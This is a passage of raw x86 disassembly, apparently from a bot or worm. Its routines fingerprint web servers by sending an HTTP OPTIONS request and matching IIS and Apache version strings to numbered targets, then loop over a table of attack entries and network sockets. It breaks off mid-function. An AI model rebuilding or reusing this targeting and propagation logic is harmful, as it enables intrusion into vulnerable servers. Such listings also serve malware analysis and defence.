mov ebp, esp
push ecx
push ecx
and [ebp+var_4], 0
and [ebp+var_8], 0
jmp short loc_412964
; ---------------------------------------------------------------------------
loc_41295D: ; CODE XREF: sub_41294E:loc_4129C3j
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
loc_412964: ; CODE XREF: sub_41294E+Dj
mov eax, [ebp+var_8]
imul eax, 3Ah
cmp off_41CCFE[eax], 0
jz short loc_4129C5
mov eax, [ebp+var_8]
imul eax, 3Ah
mov eax, dword_41CCF6[eax]
cmp eax, [ebp+arg_0]
jnz short loc_4129C3
mov eax, [ebp+var_8]
imul eax, 3Ah
add eax, offset byte_41CCD0
mov [ebp+var_4], eax
push 3Ah
mov eax, [ebp+var_8]
imul eax, 3Ah
add eax, offset byte_41CCD0
push eax
push [ebp+arg_4]
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_4]
call sub_4105FB
pop ecx
mov eax, [ebp+arg_4]
add eax, 13h
push eax
call sub_4105FB
pop ecx
jmp short loc_4129C5
; ---------------------------------------------------------------------------
loc_4129C3: ; CODE XREF: sub_41294E+34j
jmp short loc_41295D
; ---------------------------------------------------------------------------
loc_4129C5: ; CODE XREF: sub_41294E+23j
; sub_41294E+73j
mov eax, [ebp+var_4]
leave
retn
sub_41294E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4129CA proc near ; CODE XREF: sub_412A3A+16Bp
; sub_412BC9+15Ap ...
var_104 = dword ptr -104h
var_100 = byte ptr -100h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 104h
push 1
mov eax, [ebp+arg_0]
add eax, 2Ah
push eax
call sub_409C88
pop ecx
pop ecx
mov [ebp+var_104], eax
lea eax, [ebp+var_100]
push eax
push [ebp+arg_8]
call sub_4044F7
pop ecx
pop ecx
test eax, eax
jnz short loc_412A11
push offset aUnknown ; "unknown"
lea eax, [ebp+var_100]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
loc_412A11: ; CODE XREF: sub_4129CA+32j
lea eax, [ebp+var_100]
push eax
mov eax, [ebp+var_104]
inc eax
push eax
push [ebp+arg_C]
push [ebp+arg_4]
push offset dword_41A1D0
push offset dword_41DAB4
call sub_40D4AB
add esp, 18h
leave
retn
sub_4129CA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412A3A proc near ; CODE XREF: sub_41331E+148p
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = byte ptr -248h
var_235 = byte ptr -235h
var_222 = dword ptr -222h
var_20C = dword ptr -20Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 250h
push [ebp+arg_4]
call sub_412720
pop ecx
push 3Ah
push [ebp+arg_0]
lea eax, [ebp+var_248]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
lea eax, [ebp+var_248]
push eax
call sub_4105FB
pop ecx
lea eax, [ebp+var_235]
push eax
call sub_4105FB
pop ecx
lea eax, [ebp+var_20C+3]
mov [ebp+var_8], eax
push 203h
push 0
lea eax, [ebp+var_20C]
push eax
call sub_416B6A ; memset
add esp, 0Ch
and [ebp+var_4], 0
jmp short loc_412AA6
; ---------------------------------------------------------------------------
loc_412A9F: ; CODE XREF: sub_412A3A+8Aj
; sub_412A3A:loc_412B7Fj
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_412AA6: ; CODE XREF: sub_412A3A+63j
cmp [ebp+var_4], 3Ch
jnz short loc_412AB1
jmp locret_412BC7
; ---------------------------------------------------------------------------
loc_412AB1: ; CODE XREF: sub_412A3A+70j
push 3E8h
push [ebp+arg_4]
call sub_40546E
pop ecx
pop ecx
test eax, eax
jnz short loc_412AC6
jmp short loc_412A9F
; ---------------------------------------------------------------------------
loc_412AC6: ; CODE XREF: sub_412A3A+88j
push 200h
push [ebp+var_8]
push [ebp+arg_4]
call sub_4053DC
add esp, 0Ch
mov [ebp+var_24C], eax
cmp [ebp+var_24C], 0FFFFFFFFh
jnz short loc_412AED
jmp locret_412BC7
; ---------------------------------------------------------------------------
loc_412AED: ; CODE XREF: sub_412A3A+ACj
cmp [ebp+var_24C], 0
jz short loc_412B69
and [ebp+var_250], 0
jmp short loc_412B0C
; ---------------------------------------------------------------------------
loc_412AFF: ; CODE XREF: sub_412A3A:loc_412B34j
mov eax, [ebp+var_250]
inc eax
mov [ebp+var_250], eax
loc_412B0C: ; CODE XREF: sub_412A3A+C3j
mov eax, [ebp+var_250]
cmp eax, [ebp+var_24C]
jnb short loc_412B36
mov eax, [ebp+var_250]
mov eax, [ebp+eax+var_20C]
cmp eax, [ebp+var_222]
jnz short loc_412B34
jmp loc_412BC5
; ---------------------------------------------------------------------------
loc_412B34: ; CODE XREF: sub_412A3A+F3j
jmp short loc_412AFF
; ---------------------------------------------------------------------------
loc_412B36: ; CODE XREF: sub_412A3A+DEj
push 3
mov eax, [ebp+var_24C]
mov ecx, [ebp+var_8]
lea eax, [ecx+eax-3]
push eax
lea eax, [ebp+var_20C]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push 200h
push 0
push [ebp+var_8]
call sub_416B6A ; memset
add esp, 0Ch
jmp short loc_412B7F
; ---------------------------------------------------------------------------
loc_412B69: ; CODE XREF: sub_412A3A+BAj
push 203h
push 0
lea eax, [ebp+var_20C]
push eax
call sub_416B6A ; memset
add esp, 0Ch
loc_412B7F: ; CODE XREF: sub_412A3A+12Dj
jmp loc_412A9F
; ---------------------------------------------------------------------------
loc_412B84: ; CODE XREF: sub_412A3A:loc_412BC5j
push [ebp+arg_4]
call sub_4127D0
pop ecx
test eax, eax
jnz short loc_412B93
jmp short locret_412BC7
; ---------------------------------------------------------------------------
loc_412B93: ; CODE XREF: sub_412A3A+155j
push offset dword_41CC64
push [ebp+arg_4]
lea eax, [ebp+var_248]
push eax
push [ebp+arg_0]
call sub_4129CA
add esp, 10h
push 1
push [ebp+arg_4]
call ds:dword_417200 ; shutdown
push 3E8h
call ds:dword_41709C ; Sleep
jmp short locret_412BC7
; ---------------------------------------------------------------------------
loc_412BC5: ; CODE XREF: sub_412A3A+F5j
jmp short loc_412B84
; ---------------------------------------------------------------------------
locret_412BC7: ; CODE XREF: sub_412A3A+72j
; sub_412A3A+AEj ...
leave
retn
sub_412A3A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412BC9 proc near ; CODE XREF: sub_41331E+165p
var_85C = dword ptr -85Ch
var_858 = dword ptr -858h
var_854 = dword ptr -854h
var_850 = dword ptr -850h
var_84C = byte ptr -84Ch
var_810 = dword ptr -810h
var_80C = dword ptr -80Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 85Ch
push 0
push [ebp+arg_4]
push [ebp+arg_0]
call sub_404FE7
add esp, 0Ch
mov [ebp+var_8], eax
mov [ebp+var_854], 3Ch
and [ebp+var_850], 0
and [ebp+var_810], 0
loc_412BFD: ; CODE XREF: sub_412BC9+A9j
and [ebp+var_85C], 0
jmp short loc_412C13
; ---------------------------------------------------------------------------
loc_412C06: ; CODE XREF: sub_412BC9:loc_412C35j
mov eax, [ebp+var_85C]
inc eax
mov [ebp+var_85C], eax
loc_412C13: ; CODE XREF: sub_412BC9+3Bj
mov eax, [ebp+var_85C]
cmp eax, [ebp+var_810]
jnb short loc_412C37
mov eax, [ebp+var_85C]
mov eax, [ebp+eax*4+var_80C]
cmp eax, [ebp+var_8]
jnz short loc_412C35
jmp short loc_412C37
; ---------------------------------------------------------------------------
loc_412C35: ; CODE XREF: sub_412BC9+68j
jmp short loc_412C06
; ---------------------------------------------------------------------------
loc_412C37: ; CODE XREF: sub_412BC9+56j
; sub_412BC9+6Aj
mov eax, [ebp+var_85C]
cmp eax, [ebp+var_810]
jnz short loc_412C6E
cmp [ebp+var_810], 200h
jnb short loc_412C6E
mov eax, [ebp+var_85C]
mov ecx, [ebp+var_8]
mov [ebp+eax*4+var_80C], ecx
mov eax, [ebp+var_810]
inc eax
mov [ebp+var_810], eax
loc_412C6E: ; CODE XREF: sub_412BC9+7Aj
; sub_412BC9+86j
xor eax, eax
test eax, eax
jnz short loc_412BFD
lea eax, [ebp+var_854]
push eax
push 0
lea eax, [ebp+var_810]
push eax
push 0
push 0
call ds:dword_41722C ; select
mov [ebp+var_C], eax
cmp [ebp+var_C], 1
jz short loc_412CA5
push [ebp+var_8]
call sub_4053B1
pop ecx
jmp locret_412D4A
; ---------------------------------------------------------------------------
loc_412CA5: ; CODE XREF: sub_412BC9+CCj
push [ebp+var_8]
call sub_412720
pop ecx
push [ebp+var_8]
call sub_412919
pop ecx
mov [ebp+var_858], eax
cmp [ebp+var_858], 0
jnz short loc_412CD1
push [ebp+var_8]
call sub_4053B1
pop ecx
jmp short locret_412D4A
; ---------------------------------------------------------------------------
loc_412CD1: ; CODE XREF: sub_412BC9+FBj
lea eax, [ebp+var_84C]
push eax
push [ebp+var_858]
call sub_41294E
pop ecx
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_412CF9
push [ebp+var_8]
call sub_4053B1
pop ecx
jmp short locret_412D4A
; ---------------------------------------------------------------------------
loc_412CF9: ; CODE XREF: sub_412BC9+123j
push [ebp+var_8]
call sub_4127D0
pop ecx
test eax, eax
jnz short loc_412D11
push [ebp+var_8]
call sub_4053B1
pop ecx
jmp short locret_412D4A
; ---------------------------------------------------------------------------
loc_412D11: ; CODE XREF: sub_412BC9+13Bj
push offset dword_41CC68
push [ebp+var_8]
lea eax, [ebp+var_84C]
push eax
push [ebp+var_4]
call sub_4129CA
add esp, 10h
push 1
push [ebp+var_8]
call ds:dword_417200 ; shutdown
push 3E8h
call ds:dword_41709C ; Sleep
push [ebp+var_8]
call sub_4053B1
pop ecx
locret_412D4A: ; CODE XREF: sub_412BC9+D7j
; sub_412BC9+106j ...
leave
retn
sub_412BC9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412D4C proc near ; CODE XREF: sub_41331E:loc_413420p
push ebp
mov ebp, esp
mov eax, offset dword_41EB24
pop ebp
retn
sub_412D4C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412D56 proc near ; DATA XREF: sub_412E04+CAo
var_48 = dword ptr -48h
var_44 = byte ptr -44h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 48h
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
push [ebp+var_8]
call sub_412720
pop ecx
push [ebp+var_8]
call sub_412919
pop ecx
mov [ebp+var_48], eax
cmp [ebp+var_48], 0
jnz short loc_412D8A
push [ebp+var_8]
call sub_4053B1
pop ecx
xor eax, eax
jmp short locret_412E00
; ---------------------------------------------------------------------------
loc_412D8A: ; CODE XREF: sub_412D56+25j
lea eax, [ebp+var_44]
push eax
push [ebp+var_48]
call sub_41294E
pop ecx
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_412DAE
push [ebp+var_8]
call sub_4053B1
pop ecx
xor eax, eax
jmp short locret_412E00
; ---------------------------------------------------------------------------
loc_412DAE: ; CODE XREF: sub_412D56+49j
push [ebp+var_8]
call sub_4127D0
pop ecx
test eax, eax
jnz short loc_412DC8
push [ebp+var_8]
call sub_4053B1
pop ecx
xor eax, eax
jmp short locret_412E00
; ---------------------------------------------------------------------------
loc_412DC8: ; CODE XREF: sub_412D56+63j
push offset dword_41CC6C
push [ebp+var_8]
lea eax, [ebp+var_44]
push eax
push [ebp+var_4]
call sub_4129CA
add esp, 10h
push 1
push [ebp+var_8]
call ds:dword_417200 ; shutdown
push 3E8h
call ds:dword_41709C ; Sleep
push [ebp+var_8]
call sub_4053B1
pop ecx
xor eax, eax
locret_412E00: ; CODE XREF: sub_412D56+32j
; sub_412D56+56j ...
leave
retn 4
sub_412D56 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412E04 proc near ; DATA XREF: sub_412F07+B0o
var_1B8 = dword ptr -1B8h
var_1B4 = dword ptr -1B4h
var_1B0 = byte ptr -1B0h
var_1AA = byte ptr -1AAh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1B8h
push 1ADh
push [ebp+arg_0]
lea eax, [ebp+var_1B4]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
push 1
lea eax, [ebp+var_1B0]
push eax
call sub_4046BC
pop ecx
pop ecx
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_412E59
push [ebp+var_1B4]
call sub_409763
pop ecx
xor eax, eax
jmp locret_412F03
; ---------------------------------------------------------------------------
loc_412E59: ; CODE XREF: sub_412E04+40j
lea eax, [ebp+var_1B0]
push eax
mov eax, [ebp+var_1B4]
push dword ptr [eax]
push offset dword_41CC70
lea eax, [ebp+var_1AA]
push eax
call sub_40D53F
add esp, 10h
lea eax, [ebp+var_1B0]
push eax
push offset dword_41EB24
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
loc_412E8F: ; CODE XREF: sub_412E04+B7j
; sub_412E04:loc_412EEAj
mov eax, [ebp+var_1B4]
cmp dword ptr [eax+4], 0
jz short loc_412E9D
jmp short loc_412EEC
; ---------------------------------------------------------------------------
loc_412E9D: ; CODE XREF: sub_412E04+95j
push 3E8h
push [ebp+var_4]
call sub_4048EF
pop ecx
pop ecx
mov [ebp+var_1B8], eax
cmp [ebp+var_1B8], 0FFFFFFFFh
jnz short loc_412EBD
jmp short loc_412E8F
; ---------------------------------------------------------------------------
loc_412EBD: ; CODE XREF: sub_412E04+B5j
cmp [ebp+var_1B8], 0
jnz short loc_412EC8
jmp short loc_412EEC
; ---------------------------------------------------------------------------
loc_412EC8: ; CODE XREF: sub_412E04+C0j
push [ebp+var_1B8]
push offset sub_412D56
call sub_409479
pop ecx
pop ecx
test eax, eax
jnz short loc_412EEA
push [ebp+var_1B8]
call sub_4053B1
pop ecx
loc_412EEA: ; CODE XREF: sub_412E04+D8j
jmp short loc_412E8F
; ---------------------------------------------------------------------------
loc_412EEC: ; CODE XREF: sub_412E04+97j
; sub_412E04+C2j
push [ebp+var_4]
call sub_404CBB
pop ecx
push [ebp+var_1B4]
call sub_409763
pop ecx
xor eax, eax
locret_412F03: ; CODE XREF: sub_412E04+50j
leave
retn 4
sub_412E04 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412F07 proc near ; CODE XREF: sub_40A9CF+F6Ep
; sub_41349C+2C7p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push 1ADh
call sub_416B46 ; malloc
pop ecx
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_412F26
jmp locret_412FC4
; ---------------------------------------------------------------------------
loc_412F26: ; CODE XREF: sub_412F07+18j
cmp [ebp+arg_4], 0
jz short loc_412F3A
push [ebp+arg_4]
call sub_416B9C ; atoi
pop ecx
mov [ebp+var_C], eax
jmp short loc_412F4E
; ---------------------------------------------------------------------------
loc_412F3A: ; CODE XREF: sub_412F07+23j
push 0FFFFh
push 401h
call sub_4103F5
pop ecx
pop ecx
mov [ebp+var_C], eax
loc_412F4E: ; CODE XREF: sub_412F07+31j
mov eax, [ebp+var_C]
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_412F63
cmp [ebp+var_4], 0FFFFh
jbe short loc_412F77
loc_412F63: ; CODE XREF: sub_412F07+51j
push 0FFFFh
push 401h
call sub_4103F5
pop ecx
pop ecx
mov [ebp+var_4], eax
loc_412F77: ; CODE XREF: sub_412F07+5Aj
push 0Ah
mov eax, [ebp+var_8]
add eax, 4
push eax
push [ebp+var_4]
call sub_416F7A ; _itoa
add esp, 0Ch
push [ebp+arg_0]
mov eax, [ebp+var_8]
add eax, 0Ah
push eax
call sub_405F67
pop ecx
pop ecx
push [ebp+var_4]
push offset dword_41CCA8
mov eax, [ebp+arg_0]
movsx eax, byte ptr [eax+18Bh]
neg eax
sbb eax, eax
inc eax
push eax
push [ebp+var_8]
push offset sub_412E04
call sub_4095A4
add esp, 14h
locret_412FC4: ; CODE XREF: sub_412F07+1Aj
leave
retn
sub_412F07 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412FC6 proc near ; CODE XREF: sub_4167F1+DAp
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
and [ebp+var_4], 0
jmp short loc_412FD8
; ---------------------------------------------------------------------------
loc_412FD1: ; CODE XREF: sub_412FC6:loc_413088j
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_412FD8: ; CODE XREF: sub_412FC6+9j
mov eax, [ebp+var_4]
imul eax, 3Ah
cmp off_41CCFE[eax], 0
jz locret_41308D
mov eax, [ebp+var_4]
imul eax, 3Ah
mov ecx, [ebp+var_4]
imul ecx, 3Ah
mov ecx, dword_41CCF6[ecx]
and ecx, 0FFh
mov eax, off_41CCFE[eax]
sub eax, ecx
mov ecx, [ebp+var_4]
imul ecx, 3Ah
mov off_41CCFE[ecx], eax
mov eax, [ebp+var_4]
imul eax, 3Ah
and dword_41CCFA[eax], 0
loc_413024: ; CODE XREF: sub_412FC6+7Ej
; sub_412FC6+BEj
call sub_410422
mov ecx, [ebp+var_4]
imul ecx, 3Ah
mov dword_41CCF6[ecx], eax
mov eax, [ebp+var_4]
imul eax, 3Ah
cmp dword_41CCF6[eax], 0
jnz short loc_413046
jmp short loc_413024
; ---------------------------------------------------------------------------
loc_413046: ; CODE XREF: sub_412FC6+7Cj
and [ebp+var_8], 0
jmp short loc_413053
; ---------------------------------------------------------------------------
loc_41304C: ; CODE XREF: sub_412FC6:loc_413086j
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
loc_413053: ; CODE XREF: sub_412FC6+84j
mov eax, [ebp+var_8]
imul eax, 3Ah
cmp off_41CCFE[eax], 0
jz short loc_413088
mov eax, [ebp+var_4]
cmp eax, [ebp+var_8]
jz short loc_413086
mov eax, [ebp+var_4]
imul eax, 3Ah
mov ecx, [ebp+var_8]
imul ecx, 3Ah
mov eax, dword_41CCF6[eax]
cmp eax, dword_41CCF6[ecx]
jnz short loc_413086
jmp short loc_413024
; ---------------------------------------------------------------------------
loc_413086: ; CODE XREF: sub_412FC6+A2j
; sub_412FC6+BCj
jmp short loc_41304C
; ---------------------------------------------------------------------------
loc_413088: ; CODE XREF: sub_412FC6+9Aj
jmp loc_412FD1
; ---------------------------------------------------------------------------
locret_41308D: ; CODE XREF: sub_412FC6+1Fj
leave
retn
sub_412FC6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41308F proc near ; CODE XREF: sub_41331E+72p
var_820 = dword ptr -820h
var_81C = dword ptr -81Ch
var_818 = dword ptr -818h
var_814 = dword ptr -814h
var_810 = byte ptr -810h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 820h
push 16h
push offset aOptionsHttp1_0 ; "OPTIONS / HTTP/1.0\r\n\r\n"
push [ebp+arg_0]
call sub_4053BF
add esp, 0Ch
push 0EA60h
push [ebp+arg_0]
call sub_40546E
pop ecx
pop ecx
test eax, eax
jnz short loc_4130C4
xor eax, eax
jmp locret_41331C
; ---------------------------------------------------------------------------
loc_4130C4: ; CODE XREF: sub_41308F+2Cj
push 0
push 800h
lea eax, [ebp+var_810]
push eax
push [ebp+arg_0]
call ds:dword_417248 ; recv
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_4130F3
cmp [ebp+var_8], 0FFFFFFFFh
jz short loc_4130F3
cmp [ebp+var_8], 800h
jnz short loc_4130FA
loc_4130F3: ; CODE XREF: sub_41308F+53j
; sub_41308F+59j
xor eax, eax
jmp locret_41331C
; ---------------------------------------------------------------------------
loc_4130FA: ; CODE XREF: sub_41308F+62j
mov eax, [ebp+var_8]
and [ebp+eax+var_810], 0
and [ebp+var_4], 0
push offset aServer ; "Server:"
lea eax, [ebp+var_810]
push eax
call sub_416BA8 ; strstr
pop ecx
pop ecx
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jnz short loc_41312C
xor eax, eax
jmp locret_41331C
; ---------------------------------------------------------------------------
loc_41312C: ; CODE XREF: sub_41308F+94j
lea eax, [ebp+var_4]
push eax
push offset dword_418F4C
push [ebp+var_10]
call sub_40813C
add esp, 0Ch
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jnz short loc_413150
xor eax, eax
jmp locret_41331C
; ---------------------------------------------------------------------------
loc_413150: ; CODE XREF: sub_41308F+B8j
lea eax, [ebp+var_4]
push eax
push offset dword_418F4C
push 0
call sub_40813C
add esp, 0Ch
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jnz short loc_413173
xor eax, eax
jmp locret_41331C
; ---------------------------------------------------------------------------
loc_413173: ; CODE XREF: sub_41308F+DBj
lea eax, [ebp+var_4]
push eax
push offset dword_418F4C
push 0
call sub_40813C
add esp, 0Ch
mov [ebp+var_C], eax
push 0Dh
push offset aMicrosoftIis ; "Microsoft-IIS"
push [ebp+var_10]
call sub_416F80 ; _strnicmp
add esp, 0Ch
test eax, eax
jnz loc_41323C
and [ebp+var_818], 0
and [ebp+var_814], 0
lea eax, [ebp+var_814]
push eax
lea eax, [ebp+var_818]
push eax
push offset aMicrosoftIisU_ ; "Microsoft-IIS/%u.%u"
push [ebp+var_10]
call sub_416BA2 ; sscanf
add esp, 10h
cmp [ebp+var_818], 4
jnz short loc_4131E9
cmp [ebp+var_814], 0
jnz short loc_4131E9
push 4
pop eax
jmp locret_41331C
; ---------------------------------------------------------------------------
loc_4131E9: ; CODE XREF: sub_41308F+147j
; sub_41308F+150j
cmp [ebp+var_818], 5
jnz short loc_413203
cmp [ebp+var_814], 0
jnz short loc_413203
push 3
pop eax
jmp locret_41331C
; ---------------------------------------------------------------------------
loc_413203: ; CODE XREF: sub_41308F+161j
; sub_41308F+16Aj
cmp [ebp+var_818], 5
jnz short loc_41321D
cmp [ebp+var_814], 5
jnz short loc_41321D
push 2
pop eax
jmp locret_41331C
; ---------------------------------------------------------------------------
loc_41321D: ; CODE XREF: sub_41308F+17Bj
; sub_41308F+184j
cmp [ebp+var_818], 6
jnz short loc_413237
cmp [ebp+var_814], 0
jnz short loc_413237
push 1
pop eax
jmp locret_41331C
; ---------------------------------------------------------------------------
loc_413237: ; CODE XREF: sub_41308F+195j
; sub_41308F+19Ej
jmp loc_41331A
; ---------------------------------------------------------------------------
loc_41323C: ; CODE XREF: sub_41308F+10Ej
cmp [ebp+var_C], 0
jz loc_41331A
push 6
push offset aApache ; "Apache"
push [ebp+var_10]
call sub_416F80 ; _strnicmp
add esp, 0Ch
test eax, eax
jnz loc_41331A
and [ebp+var_820], 0
lea eax, [ebp+var_820]
push eax
push offset dword_41CD90
push [ebp+var_10]
call sub_416BA2 ; sscanf
add esp, 0Ch
push 6
push offset dword_41CD88
push [ebp+var_C]
call sub_416F80 ; _strnicmp
add esp, 0Ch
neg eax
sbb eax, eax
inc eax
mov [ebp+var_81C], eax
cmp [ebp+var_81C], 1
jnz short loc_4132BE
push 7
push offset dword_41CD80
push [ebp+var_C]
call sub_416F80 ; _strnicmp
add esp, 0Ch
test eax, eax
jz short loc_4132BE
xor eax, eax
jmp short locret_41331C
; ---------------------------------------------------------------------------
loc_4132BE: ; CODE XREF: sub_41308F+213j
; sub_41308F+229j
cmp [ebp+var_820], 1
jnz short loc_4132D5
cmp [ebp+var_81C], 0
jz short loc_4132D5
push 6
pop eax
jmp short locret_41331C
; ---------------------------------------------------------------------------
loc_4132D5: ; CODE XREF: sub_41308F+236j
; sub_41308F+23Fj
cmp [ebp+var_820], 1
jnz short loc_4132EC
cmp [ebp+var_81C], 0
jnz short loc_4132EC
push 5
pop eax
jmp short locret_41331C
; ---------------------------------------------------------------------------
loc_4132EC: ; CODE XREF: sub_41308F+24Dj
; sub_41308F+256j
cmp [ebp+var_820], 2
jnz short loc_413303
cmp [ebp+var_81C], 0
jz short loc_413303
push 6
pop eax
jmp short locret_41331C
; ---------------------------------------------------------------------------
loc_413303: ; CODE XREF: sub_41308F+264j
; sub_41308F+26Dj
cmp [ebp+var_820], 2
jnz short loc_41331A
cmp [ebp+var_81C], 0
jnz short loc_41331A
push 5
pop eax
jmp short locret_41331C
; ---------------------------------------------------------------------------
loc_41331A: ; CODE XREF: sub_41308F:loc_413237j
; sub_41308F+1B1j ...
xor eax, eax
locret_41331C: ; CODE XREF: sub_41308F+30j
; sub_41308F+66j ...
leave
retn
sub_41308F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41331E proc near ; DATA XREF: sub_41349C+4EBo
; sub_413CB3+27Co
var_14C = dword ptr -14Ch
var_11A = dword ptr -11Ah
var_112 = dword ptr -112h
var_10E = dword ptr -10Eh
var_10A = byte ptr -10Ah
var_8A = dword ptr -8Ah
var_86 = byte ptr -86h
var_6 = byte ptr -6
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14Ch
push 14Ch
push [ebp+arg_0]
lea eax, [ebp+var_14C]
push eax
call sub_416B52 ; memcpy
add esp, 0Ch
push [ebp+arg_0]
call sub_416B4C ; free
pop ecx
push 1
push [ebp+var_10E]
call sub_404457
pop ecx
pop ecx
lea eax, [ebp+var_10A]
push eax
push [ebp+var_10E]
call sub_4044F7
pop ecx
pop ecx
test eax, eax
jnz short loc_413381
push [ebp+var_10E]
call sub_40538D
pop ecx
xor eax, eax
jmp locret_413498
; ---------------------------------------------------------------------------
loc_413381: ; CODE XREF: sub_41331E+4Ej
cmp [ebp+var_112], 0
jz short loc_4133B1
push [ebp+var_10E]
call sub_41308F
pop ecx
cmp [ebp+var_112], eax
jz short loc_4133B1
push [ebp+var_10E]
call sub_4053B1
pop ecx
xor eax, eax
jmp locret_413498
; ---------------------------------------------------------------------------
loc_4133B1: ; CODE XREF: sub_41331E+6Aj
; sub_41331E+7Ej
cmp [ebp+var_8A], 1
jnz short loc_4133E0
lea eax, [ebp+var_6]
push eax
push [ebp+var_10E]
call sub_404552
pop ecx
pop ecx
push offset dword_41EF48
lea eax, [ebp+var_86]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
jmp short loc_413444
; ---------------------------------------------------------------------------
loc_4133E0: ; CODE XREF: sub_41331E+9Aj
cmp [ebp+var_8A], 2
jnz short loc_413420
push 0Ah
lea eax, [ebp+var_6]
push eax
push 0FFFFh
push 401h
call sub_4103F5
pop ecx
pop ecx
push eax
call sub_416F7A ; _itoa
add esp, 0Ch
lea eax, [ebp+var_10A]
push eax
lea eax, [ebp+var_86]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
jmp short loc_413444
; ---------------------------------------------------------------------------
loc_413420: ; CODE XREF: sub_41331E+C9j
call sub_412D4C
push eax
lea eax, [ebp+var_6]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
push offset dword_41EF48
lea eax, [ebp+var_86]
push eax
call sub_416B3A ; _mbscpy
pop ecx
pop ecx
loc_413444: ; CODE XREF: sub_41331E+C0j
; sub_41331E+100j
lea eax, [ebp+var_14C]
push eax
call [ebp+var_11A]
cmp [ebp+var_8A], 1
jnz short loc_41346F
push [ebp+var_10E]
push [ebp+var_14C]
call sub_412A3A
pop ecx
pop ecx
jmp short loc_41348A
; ---------------------------------------------------------------------------
loc_41346F: ; CODE XREF: sub_41331E+13Aj
cmp [ebp+var_8A], 2
jnz short loc_41348A
lea eax, [ebp+var_6]
push eax
lea eax, [ebp+var_86]
push eax
call sub_412BC9
pop ecx
pop ecx
loc_41348A: ; CODE XREF: sub_41331E+14Fj
; sub_41331E+158j
push [ebp+var_10E]
call sub_4053B1
pop ecx
xor eax, eax
locret_413498: ; CODE XREF: sub_41331E+5Ej
; sub_41331E+8Ej
leave
retn 4
sub_41331E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41349C proc near ; DATA XREF: sub_413AB0+1F4o
var_774 = qword ptr -774h
var_764 = qword ptr -764h
var_75C = byte ptr -75Ch
var_65C = byte ptr -65Ch
var_658 = dword ptr -658h
var_654 = dword ptr -654h
var_650 = dword ptr -650h
var_64C = byte ptr -64Ch
var_648 = byte ptr -648h
var_644 = dword ptr -644h
var_640 = byte ptr -640h
var_62C = dword ptr -62Ch
var_628 = dword ptr -628h
var_624 = byte ptr -624h
var_51C = byte ptr -51Ch
var_50E = dword ptr -50Eh
var_50A = dword ptr -50Ah
var_506 = dword ptr -506h
var_502 = byte ptr -502h
var_37B = byte ptr -37Bh
var_37A = byte ptr -37Ah
var_377 = byte ptr -377h
var_36B = byte ptr -36Bh
var_36A = byte ptr -36Ah
var_35C = dword ptr -35Ch
var_358 = dword ptr -358h
var_354 = byte ptr -354h
var_341 = byte ptr -341h
var_296 = dword ptr -296h
var_20C = byte ptr -20Ch
var_20B = byte ptr -20Bh
var_10C = dword ptr -10Ch
var_108 = byte ptr -108h
var_107 = byte ptr -107h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 764h
push edi
push 2C9h
push [ebp+arg_0]
lea eax, [ebp+var_628]
push eax
